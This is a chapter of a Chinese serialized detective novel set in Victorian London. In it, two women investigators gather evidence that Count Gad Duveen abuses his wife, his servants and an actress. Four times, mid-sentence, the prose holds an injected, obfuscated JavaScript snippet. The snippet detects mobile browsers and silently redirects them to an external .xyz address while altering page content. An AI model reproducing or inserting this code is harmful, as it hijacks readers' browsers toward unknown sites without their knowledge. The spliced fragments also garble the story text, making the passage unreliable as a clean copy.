伦敦又开始下雨了。 公寓里，简那本厚重的手册摊开在我的膝头，我的心思却早已飞向即将到来的战场。 伊莎贝尔·杜维恩伯爵夫人每周五下午的沙龙。 作为议员家的女儿，作为本家族的女性，作为弗瑞·本，伯爵夫人不会拒绝我参与其沙龙的请求。 伊莎贝尔是位美丽忧郁的女性，出身一个急于攀附权贵但已没落的子爵家庭，被迫嫁给了大她足足二十岁的中年的杜维恩伯爵。 作为杜维恩夫人，她拥有标准，体面和地位，也仅此而已。 她几乎从不在丈夫的公开政治场合露面，唯一的社交就是主持或参加这些女性小圈子的聚会，以满足丈夫的政治需求。 “记住，弗瑞，”简的声音打断我的思绪，她正利落地提我准备防晒喷雾。 “这位夫人是你的切入点，但不是唯一目标。观察所有人，倾听所有‘无害’的闲谈。别急着暴露意图， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973583|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先赢得她们的信任，或者至少，让她们习惯你的存在。” 她把喷雾递给我。 “至于我，”她的眼神投向窗外泥泞的街道，“该去听听麻雀的朋友们今天在码头酒馆里又听到了什么新鲜事。” 我明白她的意思。 简会潜入那些我无法踏足的世界，从车夫，洗衣妇，甚至街头混混那里，挖掘杜维恩日常轨迹中不寻常的蛛丝马迹。 她的战场在泥泞的后巷和烟雾缭绕的陋室。 “小心。”我接过防身喷雾低声说。 这个词在空旷的公寓里显得格外清晰。 简的动作顿了一下，没有回头，只是微微颔首。“你也一样。” 防身喷雾被我放进了精致的手袋，并伴随着我去参加那场沙龙。 “我没法和你一起，所以你得学会自保。” 简这么说着，并且在有限的时间里训练我用各种东西做武器。 虽然在我写这个故事的时候，我已经可以自如的使用一些武器了，但是当时，作为一名刚刚背离体面世界的小姐，很遗憾，我尚且不能做到。 “无论如何，你的安全是第一的，剩下的，交给我。” 简是这么说的。 …… 杜维恩府邸位于梅费尔区最昂贵的街区之一。巨大的雕花铁门后，是修剪得一丝不苟的草坪和一座傲慢的维多利亚风格宅邸。 空气里弥漫着金钱，权势和一种令人窒息的古老的沉寂。 我被一位表情刻板的男管家引领着，穿过挂着各种油画和藏品的长廊，进入日光室。 一切都完美无瑕，精致，昂贵。 水晶吊灯高悬，瓷器在银质托盘上熠熠生辉，空气里浮动着香水，红茶和新鲜糕点的甜腻气息。白手套的侍者安静的在远处候着，六七个衣着华美的贵妇散坐在法式扶手椅和小沙发上轻声低语。 贵妇茶会，这才是我母亲曾经日常带着我出席的场合。 我的出现引起了一阵短暂而克制的瞩目。 她们的目光拂过我的衣着。一件我特意挑选的，剪裁精良但颜色保守的香奈儿套裙，确保我融入其中而不突兀，最终落在我胸前戴着的家徽上。 一个曾经的体面家族的女儿，叛逆出走后遭遇不幸，现在乖顺地试图重新挤回边缘……这是她们眼中我的故事。 “弗瑞小姐，欢迎。”一个轻柔的声音响起。 伊莎贝尔·杜维恩夫人坐在主位的沙发上。她确实美得惊人，皮肤白皙光滑，浅金色的头发温婉地挽在脑后，露出一段优美的天鹅颈。她穿着一件淡蓝色的丝绒长裙，衬得她愈发纤细脆弱。 然而，最令人印象深刻的，是她那双眼睛，大而深邃的蓝色眼眸，本该顾盼生辉，此刻却盛满了浓得化不开的忧郁和疲惫。 她的笑容挂在嘴角，是日复一日形成的麻木模式。 “感谢您的邀请，杜维恩夫人。” 我微微屈膝，行了一个无可挑剔的屈膝礼，声音是带着一丝恰到好处感激的柔和。 扮演一个渴望被接纳的，略有故事的“淑女”，这是我此刻的武器。 12. 1.11 亲爱的读者，不用我说，你们也能想象到在这种社交场合上的话题，是有多么的乏味与无趣。 我端坐于一张扶手椅上，腰背挺直，是自幼训练出的姿态，耐心且附和着这些夫人们的话题。 扮演一个经历“不幸风波”后，试图重新寻回体面位置的议员女儿，这角色要求一种微妙的脆弱与谨慎的混合。 我的存在本身，便是一个无声的提醒。 果不其然。 “弗瑞小姐，”克里米亚夫人率先开口，她戴着精致的蕾丝手套，指尖捏着一块小巧的司康饼，充满关切地开口。 “听闻您之前卷入了圣玛丽出版社那桩…实在骇人的事件。那可怜的霍金斯先生…唉，人心叵测。想必那段日子，对您而言是极大的煎熬。” 她的话语在“骇人”和“煎熬”上略作停留，目光温和却锐利地落在我脸上，等待着我可能流露的任何一丝失态或可供咀嚼的细节。 周围的低语声微妙地停顿了半拍。 几道视线，带着礼貌掩饰下的好奇与审视，聚焦过来。 我微微垂眸，指尖在温热的杯壁上轻轻滑过。 再抬眼时，脸上已是一副努力维持平静，却难掩一丝后怕与疲惫的神情，这倒并非全然伪装。 “承蒙关心，克里米亚夫人，”我的声音不高，带着教养赋予的克制，以及一丝恰到好处的沙哑。 “那确实是一段…黑暗的时光。霍金斯先生的结局，令人不胜唏嘘。所幸真相得以大白，正义…虽迟但到。” 我将“正义”二字说得极轻，带着一丝不易察觉的嘲讽，旋即迅速将话题引开。 “这段经历，倒让我对伦敦城内某些…潜藏的危机，有了更切身的体会。听闻尊贵的杜维恩伯爵阁下，近来在议会中大力呼吁加强社会秩序与道德风纪的整肃？” 我转向主位上的伊莎贝尔·杜维恩，目光带着适度的敬意与寻求认同的意味。 “伯爵夫人，想必伯爵阁下对此深有感触，且身体力行？能在您府上感受到的这份…安宁，在当下的伦敦，实属难得。” 我认真地看着那位美丽的夫人。 伊莎贝尔·杜维恩夫人端着茶杯的手指几不可查地一颤。 “哦…是的…” 她的目光飞快地掠过我的脸，随即迅速垂落，死死地盯住杯中那蜜色的液体。 她开口，“加德他…确实为此努力。” 她的话语破碎而空洞，每个词都像是被强行挤出喉咙。 她手腕优雅地搁在膝上，宽大的袖口滑落些许，露出小臂内侧一道颜色。 突兀的，狰狞的。 那绝非偶然碰撞能造成的形状。 我的目光不由得被吸引过去。 一位美丽尊贵的夫人，怎么会受这样的… 就在这时，一位年轻的女仆上前为一旁的夫人续茶。 她动作规范，姿态谦卑。 然而，当她的目光无意间扫过那扇位于房间最深处的紧紧关闭的房门时，我清晰地看到，女孩的手指瞬间绷紧。 那绝非敬畏。 也绝非个例。 我注意到另外年长些的女仆，露出的皮肤处似乎也有一小块不自然的深色印记，被高领制服勉强遮掩着。 并且他们都对那扇深处的门极其紧张。 小心，谨慎，甚至是害怕。 那扇门？ 不，是门后的存在。 加德·杜维恩伯爵。 他现在极有可能，就在那扇门后。 意识到这点，我控制不住地握紧手里的瓷杯，并且适当的保持沉默。 亲爱的读者，你们能懂我内心那种不可置信吗？一位尊贵的伯爵先生，在自己妻子的茶会沙龙的时候，甚至都没有离开，而是隐藏在背后。 那平常呢？ 即使他可能听不见如何东西，但是，这背后代表的…… 沙龙的话题重新在八卦新闻，漂亮花种和巴黎最新时装中流转。 我的心却没法平静下来。 夫人们用精巧的辞藻和得体的笑声编织着体面的表象。 直到。 “说起来，”乔安里维奇夫人，一位以心直口快（有时近乎失礼）闻名的女士，摇着她那柄缀满羽毛的扇子，声音不自觉地拔高了些，“最近城里那桩闹得沸沸扬扬的丑闻，那个叫什么…艾米安·丽德的小戏子？居然敢指控我们尊敬的杜维恩伯爵阁下！真是…” “丽拉！”克里米亚夫人厉声打断，声音带着严厉与不满，同时飞快地瞥了一眼主位上的伊莎贝尔。 日光室瞬间安静下来。 所有的谈笑风生戛然而止。 有人尴尬地咳嗽，有人低头猛喝茶，有人紧张地摆弄着手帕。 乔安里维奇夫人自己也似乎意识到失言，扇子“啪”地一声合拢，脸色涨红。 这突兀的寂静比任何喧嚣都更刺耳。 指控伯爵？这本身就是一种禁忌，一种对“秩序”的僭越。 而乔安里维奇夫人错误的在此提及，更是让其他人对某种不可言说之事条件反射。 伊莎贝尔·杜维恩夫人端坐不动。 她紧张地抬起眼，看向了房间深处的那扇紧闭的房门。 “不过是一位可怜的…女性的…胡言乱语罢了。”杜维恩伯爵夫人如此说着。 沉默，寂静，没有夫人愿意在此时出头，就连乔安里维奇夫人都保持沉默。 我叹了口气，适时地放下茶杯，杯底与碟子发出一声清脆的轻响，打破了这令人窒息的沉默。 “请原谅。” 我站起身，声音带着一丝恰到好处的歉意与疲惫。 “日光甚好，只是我还有些微不适，恐怕需要先行告退了。感谢您盛情的款待，杜维恩夫人，今日的茶点与谈话都令人印象深刻。” “对了，夫人府邸的花无比娇嫩，不知我是否还有机会再来欣赏一下？”我笑着。 伊莎贝尔夫人仿佛被我的声音惊醒，她转过头，嘴唇动了一下，“当然”。 我保持着得体的仪态，向其他夫人微微颔首致意，在那些混合着尴尬，探究和一丝不易察觉的感谢的目光中，转身离开。 圣彼得里公寓的门在我身后合拢。 屋内熟悉的气息包裹上来，带给我温暖。 简在等我。 她穿着惯常的深色高领毛衣，袖子随意卷到手肘。 桌上摊开的是伦敦错综复杂的下水道地图和一些模糊不清，像是从远处偷拍的照片。 听到动静，她抬起头。 “回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973584|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 我脱下外套，解开脖颈间那条在沙龙里仿佛勒紧的丝巾，随手搭在门边的衣帽架上。 “回来了。”我的声音带着一丝沙哑。 “怎么样？你看起来很累。”简担忧地看着我说。 “一个阳光明媚的鸟笼，简。” 我接过她递给我的水。冰凉的液体滑过喉咙，稍微驱散了心头的烦闷。 然后，我开始叙述。 语调尽可能保持平稳，但那些细节，被我清晰地陈列出来。 “杜维恩绝对在那扇门后！” 我声音低沉下去，指尖无意识地划过桌上地图冰凉的纸面，“他的暴力行为恐怕笼罩着府邸里的每一个人，从上到下！” 简静静地听着，用她浅绿色的眼睛注视着我。 “和我听来的碎片对上了，”她终于开口，声音低沉而冷硬。 “不止一个醉醺醺的车夫或卸货工，在几杯劣质杜松子酒下肚后，会含糊地嘟囔几句‘大人物府上消失的女孩’。还有艾米安·丽德…” 她拿起桌角一张剪报，上面是艾米安一张模糊的舞台照，眼神带着初生牛犊般的倔强。 “我们‘能干’的霍华德警探（她念这个名字时，带着轻蔑）今天‘例行’去‘拜访’了她。” “我早就想去，但前些天太扎眼，霍华德的人可能还在附近转悠。现在…” 她将剪报轻轻丢回桌上，那动作带着一丝压抑的愤怒。 “时间不多了，弗瑞。”她站起身，走到窗边，望着外面伦敦沉沉的夜色和连绵不绝的雨幕。 “在她被彻底摧毁之前，在她被‘说服’撤诉，或者在某个雨夜‘意外’失足掉进泰晤士河之前…”她转过身，看着我，带着不容置疑的决断。 “我带你去见艾米安·丽德本人。” “现在？”我有些意外，但心脏却因这紧迫感而加速跳动。 杜维恩的阴影仿佛随着简的话语，从梅费尔区那栋豪宅延伸到了这间顶楼公寓。 “现在。”简的语气斩钉截铁。 她已经抓起了挂在椅背上的那件深色油布雨衣。“穿上你最不起眼的衣服，弗瑞。那件深灰色的羊毛呢，或者棕色的灯芯绒。带上你的防身喷雾，藏在顺手的地方。伦敦的夜晚，从来不是淑女散步的花园。” 她将另一件同样的深色雨衣抛给我，“让我们去看看，这位勇敢的小姐。” 我和简如同两道融入夜色的影子，七拐八拐后，一辆不起眼的出租马车已在雨中等待。 “老比利，辛苦你雨夜来了。”简对那个我不曾见过的老车夫说道。 “不，乐意帮助里斯克小姐您。” 也许，在我回来之前，简就已经定好了，要去见艾米安，而她和这车夫的故事，那是在我未接触她之前的了。 后来我才知道，简帮这位可怜的老比利，找到了他的杀女凶手。 其他的，底层的，可怜的人，都或多或少受过简的帮助，所以他们也乐意为简提供一些力所能及的帮助。 当然，那都是后话了。 车轮碾过被雨水冲刷的鹅卵石街道，发出单调而压抑的辘辘声，马车载着我们，朝着苏荷区边缘，朝着那位名叫艾米安·丽德的女演员，那位在暴风雨中心摇摇欲坠的控诉者，疾驰而去。 13. 1.12 马车在苏荷区边缘的污水巷嘎然而止。 “到了，小姐们。”老比利的声音透过雨帘传来，带着一丝不易察觉的紧张，“小心脚下，也…小心人。” “谢谢，比利。在这等我们，或者去附近的老橡树酒馆暖暖身子，我们出来会去找你。” 简的声音低沉而清晰。 她率先跳下车，油布雨衣在风雨中猎猎作响。我紧随其后，冰冷的雨水落在我的雨衣上。 流莺巷，伦敦有名的混乱的歌舞艺者的聚集地，成名的，未成名的，歌者，艺人，演员都在此抱团取暖。 这是我在简的笔记还有伦敦地区图里见到过的。 巷子幽深，两侧是挤挤挨挨的廉价公寓和背靠剧院的演员宿舍。（空气中的味道并不好受，但经过之前的下水道和烟道之后，我竟然已经可以习惯了。） “里斯克小姐。本小姐。” 有一个人跑了过来，向我们示意，是查令十字街的修表匠，老嘀答。 “老滴答，辛苦了，情况怎么样？”简严肃地问，同时用她锐利的浅绿色的眼睛扫视着周围。 “一切都还好，今天只有那位老熟人（指霍华德警探）上去过，那位小姐很聪明，她没再出来过。”老滴答说。 伦敦的雨还在下。 雨水在坑洼的石板路上积成浑浊的水洼，映照着两侧窗户里昏黄摇曳的灯火，以及偶尔闪过的人影，警惕的，麻木的或是带着赤裸裸的目光。 我不小心一脚踩进了旁边的水洼，简没说话，只是伸手拉住我。 说实话，我从小不喜欢这样子的环境，也讨厌伦敦那阴郁的天气，但到现在我要强迫自己在这种环境中行动。 老滴答佝偻的身影隐入巷子深处一扇不起眼的木门后，很快又探出头来，朝我们急促地招手。 简的步伐没有丝毫迟疑。我紧跟在侧，努力让自己的呼吸平稳，像她一样，将感官完全打开，捕捉每一丝声音，每一道视线。 几个浓妆艳抹的年轻女子在门廊下避雨，她们好奇地看着我们。 一个醉醺醺的男人靠在潮湿的砖墙上，浑浊的眼睛在我们身上游连，简只是冷冷地扫了他一眼，那目光中的寒意竟让那醉汉瑟缩了一下，嘟囔着别开了脸。 老滴答引我们进入的是一条更窄，更陡峭的木质楼梯，年久失修。 空气里弥漫着香水，烟尘和……淡淡的血腥味？我的心跳骤然加速。 简的手不动声色地按在了腰侧，脚步放得更轻。我们在顶楼一扇漆皮剥落的门前停下。老嘀嗒没有按门铃，而是用一种特定的节奏，用指节在门板上叩了叩。 然后，他退到了一边。 门开了一条缝。 隔着细链（就是栓门的那种，艾米安小姐并没有把它取下），门后露出的那张脸，瞬间揪住了我的心。 是艾米安·丽德。 她的秀发失去了光泽，胡乱地挽着，漂亮的脸蛋苍白得像纸，那双曾经明亮的眼睛里布满了惊惧的血丝。 “里斯克小姐！”她的声音嘶哑而急促，目光越过简，落在我身上时，闪过一丝惊讶和……犹豫？但她还是猛地拉开门，带着孤注一掷，“进来！” 门在身后迅速关上。这间小小的阁楼房间异常简陋，墙壁斑驳，唯一的窗户用厚布遮得严严实实。桌上放着一杯冷掉的水和半块干硬的面包。 “艾米安，”简的声音低沉而稳定，带着一种奇异的抚慰力量，注视着那位紧张的小姐。 我说过的，任何人，看见里斯克那浅绿色的眼睛，听着她安抚的话语，都会安定下来，去信任她。 “风浪暂时过去了。老滴答在下面守着。这位是弗瑞·本小姐，我的搭档。”她侧身示意我，“她不久前从杜维恩夫人的沙龙回来。” 艾米安的目光倏地转向我，那眼神复杂得像一团乱麻。 “沙龙？”她喃喃道，嘴角费力地牵起一个苦涩的弧度，“她……还好吗？” 这个“她”突兀又自然，但我们都知道艾米安指的是谁。 “杜维恩夫人……”我斟酌着字句，迎向她急切的目光，“她看起来……非常疲惫，沙龙上出了点状况，有位夫人不慎提到了……你。” 艾米安身体猛地一僵，“然后呢？”她追问，声音紧绷。 “伯爵夫人说……‘不过是一位可怜的……女性的……胡言乱语罢了’。”我复述道，仔细观察她的反应。 艾米安脸上没有受伤，反而扯出一个近乎嘲讽的笑，但笑容深处是浓得化不开的悲哀。 “‘胡言乱语’……她只能这么说，不是吗？在那个地方里。”她的声音低下去，带着一种同病相怜的洞悉。 “她帮过我。” 我和简同时凝神。 “有一次……在剧院后台的角落，他……弄伤了我的手腕。”艾米安下意识地抚过左手腕，那里皮肤光滑，记忆却狰狞。 “很疼，肿了。第二天排练前，一个我从没见过的年轻女仆，偷偷塞给我一个药膏盒。没说话，只是塞给我，用那种……害怕又同情的眼神看着我。” 她深吸一口气，眼神锐利起来：“盒底，用针尖划了一个很小的、几乎看不清的字母‘I’。伊莎贝尔（Isabelle）的I！那是她的东西！她在提醒我，也在……求救？或者只是……不忍心？” “我知道，她是一个可怜的，高贵的好人。我明白的。” 艾米安的语气复杂，既有对那微弱善意的感激，也有对其无力的清醒认知。 “日日伴随着那样的恶魔，我怎么去要求她做更多呢。” 她几乎又要落泪了，为自己？为夫人？我不知道，我靠近她，她没拒绝，我给了她一个安抚性的拥抱。 “你保留了药膏盒吗？”简追问。 “是的，还有……”艾米安的眼神变得异常锐利，带着一种机敏。“里斯克小姐，请原谅我之前没有把这些交给你。” 她从我的怀抱里出来，迅速走到那张破旧的铁架床边，没有跪地摸索，而是直接掀开薄薄的，打着补丁的床垫一角。 那里赫然有一个被巧妙切割开的夹层！她从中取出一个盒子，动作快而稳。 这就是那个药膏盒！ 而里面，被艾米安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973585|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐放着一张照片！ 简接过了照片，而盒子被递给了我。 那是一个蓝色的，类似于东方青花瓷的药膏盒，盒底，确实是被人划出了一个“I”，很深刻，绝不是意外磕碰。 难以想象，杜维恩夫人，不…伊莎贝尔小姐做这些的时候是怀着怎样的心情。 至于照片。 那是一个绝对的证据。 简看完之后递给了我。 照片有些模糊，是在某个私人聚会后台的抓拍。奢华的休息室一角，艾米安正试图挣脱侧身离开，脸上是清晰的抗拒和惊慌。 而一只属于男人的，戴着硕大宝石戒指的手，正如同铁钳般死死抓在她的手腕上。 最关键的，是那手腕处露出的昂贵衬衫袖口，袖口上，一枚独特的，由交织字母“G.D.”组成的金质袖扣，在闪光灯下清晰无比。 加德·杜维恩(Gad Duveen)的标志性袖扣。 “这张照片当时被一个喝醉的报社小记者无意中拍到，他本想拍后台花絮。杜维恩的人后来清场收走了大部分，这张是我慌乱中藏进裙褶带出来的。” 艾米安的声音带着劫后余生的庆幸和后怕，但更多的是决绝，“我知道这不够，里斯克小姐。我不是唯一一个。还有其他女性，还有……” “是的，我知道，”简接话，“杜维恩府上，尤其是他身边的仆人，换得特别勤。特别是年轻女仆。” 而艾米安小姐，是少有的，活着的，勇于控诉加德·杜维恩伯爵的人。 简的目光转向我，“弗瑞，杜维恩夫人那条线不能断。她送药膏的举动，证明她可以突破。”你需要回去，接触她，赢得她的信任，或者……至少让她觉得你是安全的倾诉对象。看看能否从她那里，或者她身边亲近的女仆那里，找到关于消失的人下落的蛛丝马迹。” “而我，该去找处理这种事情的人，还有那些知情人，泰晤士河的水并不平静。” “明白。”我立刻应下，“我会想办法再接近伊莎贝尔。” 至于简后面说的泰晤士河，我不想细想，也不愿意将其与消失的人联系到一起。 时至今日，我亲爱的读者，即使我作为简的搭档已经很多年了，对于那些黑暗早已是心知肚明，但我总是会震惊，为什么有些人类总是会对自己的同类如此残忍。 明明大家都是人类。 哦，抱歉，我又开始感伤了。 天主垂怜。 让我们回到当时。 简的目光最后落回艾米安身上，“这里不能待了，艾米安。收拾东西，立刻跟我们走。去一个更安全的地方。” 艾米安几乎没有犹豫，她迅速拖出一个磨损的小箱子，“我早准备好了。” 简再次检查了门外的动静。 “走！” 我们三人迅速行动，老滴答在不远处点头示意。比利的马车带着我们在夜晚的伦敦转移。 伦敦的雨已经停了，但夜晚仍未过去。 但总会天明的。 我们都知道。 不是吗？ …… 14. 1.13 安置好我们，天刚刚泛白的时候，简就穿着她惯常的衣服出去了。 我们是在查令十字街12号。 读者们，我之前写过，简和我说，这里是负责接委托人和线人的地方。 在后来与简的相处过程中，我才反应过来。 事实上，简她非常的怎么说，嗯…谨慎，甚至是警惕。查令十字街十字街是专门工作的地点，而她和我的私人落脚点则是极尽保密。 老比利，来接我们的时候都是她定好地点，然后我们七拐八拐的去。 这没有什么，事实上，我很认可这种做法，这极大的提高我们的安全性。 所以艾米安小姐，当时与我一同在钟表店二楼，而我们忠实的朋友老滴嗒，则是在下面替我们警惕周围。 时间就那么流逝着。 “弗瑞小姐，我们真的可以对付那个恶魔吗？”艾米安小姐从密室里出来，看着我，她的手指忍不住在衣摆上搅动。 “当然，小姐，我们可以的。别担心，放轻松，看本书好吗？” 我之前是不是说过，二楼是一个极其狭窄的空间，除去之前的那条密道，还有一个巨大的靠墙书架。 你可以理解为书架将整个空间分成了两部分。 艾米安小姐原先就在这个书架的后面的空间里。而我则是在外面关注着情况，或者说，我在等来信。 我又给伊莎贝尔·杜维恩伯爵夫人递了拜访请求。 为了方便读者理解，就在这里附上。 致尊敬的杜维恩伯爵夫人： 容我再次冒昧致函。日前于沙龙上，有幸听闻夫人对蓝鸢尾的钟爱，恰巧我刚巧遇见尚存的几株晚花期变种，色泽如深海之渊。若蒙夫人不弃，愿携花拜访，共赏此罕见之美，赴之前的赏花之约。 另，近日整理伦敦妇女救济会档案时，发现数位受助者曾在贵府任职，如艾玛·格林，珍妮·佩兹。倘夫人得闲，或可指点一二，以完善我会记录。 您忠实的， 弗瑞·本 （附：若蓝鸢尾不合时宜，亦请直言——有些花，需等待时机。） 这或许是封略委婉的信，但在知情人的眼中，这很直白。 里面的有些名字，都是简告诉过我的，她调查到的失踪的女孩。 伊莎贝尔会看到这封信是否会接受，而伯爵，他会看到这个吗？ 我在忐忑又惶恐的等待之中，当时随手从旁边抽了本书递给艾米安小姐。 艾米安小姐没说什么，接过了书，但我知道她的心根本无法平静下来。 让她一直独自一人呆在密室？ 那也太不好了。 在我两难的时候，麻雀过来了。 那个勤快机灵的小男孩。 他给我带回来了一封信。 也这里也附上。 致弗瑞·本小姐： 感谢您对蓝鸢尾的厚爱。此花确系我年少时最爱，然婚后已鲜少得见。您若愿携花来访，必当热切相迎。 至于所询前雇员之事，恕我记忆模糊。伯爵府人事更迭，皆由管家经手。然您若执意探究，或可于今日午后来访，彼时伯爵赴议会述职，日光室西窗光线最佳，宜赏花。 您忠实的， 伊莎贝尔·杜维恩 （又及：温室之花娇贵，小心对待。） 或许上帝在永远的注视着，并赐予了我们好运。 时间回到当时。 “干得好，小麻雀！”我从手袋里掏出一先令递给他，“留下来，陪着这位小姐，好吗？” “可以的…弗瑞小姐。” 麻雀机灵的眼睛在我们之间转了转，最终落在艾米安苍白的脸上，他清了清嗓子，开始讲起昨天在码头看到的滑稽海鸥打架。 这笨拙的善意似乎起了一丝作用，艾米安似乎稍微放松了一些。 “好孩子，麻雀，”我轻声说，拍了拍他的肩，又转向艾米安，“丽德小姐，简从不做无把握之事。她此刻的行动，连同我即将去见杜维恩夫人，都是为了将那个恶魔拖入他应得的地狱。请相信我们，也相信你自己带来的证据。你已无比勇敢。” “上帝保佑你们，弗瑞小姐。”艾米安·丽德小姐如此说。 楼下传来老嘀嗒三短一长的叩击声，安全信号。是时候了。 “麻雀，照顾好丽德小姐。任何动静，立刻通知老滴答。” “交给我，本小姐！”麻雀挺起瘦小的胸膛。 我到了梅菲尔区，先是去挑选了合适的衣服，以及我上门拜访的礼物。 一束蓝色的鸢尾切花。 即使在八月的伦敦，顶级高档的花店，也总是会有着这种珍品。 再没有比这更合适的礼物了，也符合我去“赏花”的理由。 当然，我为此花费了几十英镑。 但一切值得。 那束花，足够漂亮，足够珍贵，也足够得伊莎贝尔的喜爱。 还是那个精致的日光室 “本小姐，”她起身，“您真的来了。这花……很好看。” 她伸出手，指尖微微颤抖地触碰着花瓣，仿佛那娇嫩的花瓣承载着某种她无法言说的重量。 她的目光在花与我脸上短暂交汇，带着一种小心翼翼的探究。 “希望它能为您带来一丝明媚，夫人。”我微笑着，将花束轻轻放在她身旁的小几上。 “上次沙龙，您府邸的花园令我念念不忘，尤其是那些在角落安静绽放的……独特品种。” 伊莎贝尔的身体几不可查地绷紧了一瞬。她垂下眼帘，长长的睫毛像脆弱的振翅蝴蝶。 “角落的花……往往需要更多的呵护，也更容易……被忽视，或者，”她停顿了一下，声音几乎低不可闻，“被风雨摧折。” 她抬起眼，那双蓝眼睛直视着我，里面翻涌着复杂的情绪。 但她迅速移开目光，“请坐，弗瑞小姐。尝尝新到的锡兰红茶？” 我们开始了“赏花”的话题。我称赞着窗台上精心养护的玫瑰，谈论着梅菲尔公园新移植的异国灌木。 伊莎贝尔得体地应和着，嘴角维持着优雅的弧度。她的指尖一直在摩挲手上的镯子。 今日的伯爵夫人不再时不时瞟向深处紧闭的房门，而是注意着身旁的男管家（他显然是杜维恩伯爵的心腹，在我们谈话的时候都未曾离开。） 伯爵今日不在，但是…… 亲爱的读者，你能感受到那种窒息吗？ 伊莎贝尔，她像一只被蛛网层层缠裹的美丽蝴蝶。 她在等待，在煎熬，在绝望的深渊边缘徘徊，渴望一丝救赎的风，却又恐惧那风会将她彻底吹落悬崖。 “如果可以，”我端起精致的茶杯。 “我想给那些受到风雨摧残的花儿提供帮助和保护，夫人，您呢？”我将问题抛给她，将“保护”这个概念，轻轻放在我们之间。 伊莎贝尔端着茶杯的手猛地一颤，滚烫的茶水溅出几滴，落在她的衣服上。 她张了张嘴，“我……” 她的目光不受控制地，飞快地扫了一眼身旁的管家，最终只是沉默地喝茶，什么也没说。 我真的能从这脆弱的夫人着，得到什么信息或证据吗？我开始怀疑。 我总不可能去跳着直白的跟夫人说，‘夫人，我是来帮助您的，请告诉我您丈夫的那些犯罪的证据或者信息吧’！那太不理智了，除非我疯了。 又是沉默。 我控制不住地想里斯克，她是否得到什么有用的东西。 唉！这可真是…… 就在这时，日光室外隐约传来一阵急促的脚步声，一个男仆的身影在门口一闪而过，对着管家做了几个急促的手势。 管家的眉头几不可查地蹙了一下，随即恢复如常。 他微微躬身，声音平板无波：“夫人，本小姐，请恕我失陪片刻。老爷书房有些紧急事务需要处理。” 他意味深长地看了伊莎贝尔一眼，然后才转身，步伐沉稳却迅速。 日光室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973586|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里只剩下我和伊莎贝尔，以及那束在沉默中兀自绽放着的蓝色鸢尾。 日光室里安静得能听见怀表的滴答声。 伊莎贝尔的手指在茶杯边缘轻轻敲击，节奏不稳，像一只困在玻璃罐里的蝴蝶。她的蓝眼睛盯着那束鸢尾花，仿佛它们下一秒就会枯萎。 管家彻底出去了。 她的手指突然停住。 “本小姐，”她开口，声音很轻，像怕惊动什么，“感谢您送的花。” 然后她摘下了镯子。 动作很快，几乎是强塞进我手里。银镯子内侧有一道几乎看不见的细缝，她的指甲在某个位置按了一下，咔哒。 “合适吗？”她问。 我捏住镯子时，指尖触到内侧的凹痕，那绝不是装饰，而是一道精心设计的机关。 伊莎贝尔的眼睛死死盯着我的手指，呼吸几乎停滞。 感受到镯子内部异样的感觉，还有伊莎贝尔那个眼神，“当然，夫人，感谢您的慷慨与心善。” 伊莎贝尔忽然笑了，那种笑像是从很深的地方挤出来的，带着点疯劲儿。 “老爷今晚要见我，”她说，“他最近……很烦躁。” 她的手腕上又多了一圈新鲜的淤青，被镯子遮住的地方。 读者们，你们明白吗？ 这不是求助。这是交易。 她把命押上桌，而我必须接。 “今日多有打扰，也感谢夫人的精心款待，期待我们的下次相聚。”我笑着站起身，提着我的手提包向夫人道别。 “当然。” 出了伯爵府，我并没有感到如释重负。 我将手镯收进了包里，然后照常地沿着街道走着，在绕了几个圈，感觉差不多了之后，我才返回了查令十字街12号。 老滴答还在下面守着。 “老滴答，还好吗？”看见熟悉的可以信任的人，我松了一口气。 “本小姐？还行，没有黑大衣的味。”这个缺门牙的老头对我笑着说，“对了，里斯克小姐回来过又出去了。” “是吗？我知道了，辛苦你了。” 上了楼按暗号敲门后，麻雀给我开了门。 “弗瑞小姐，你回来了？”他机灵的眼睛在我脸上扫过，似乎在确认我是否完好无损。 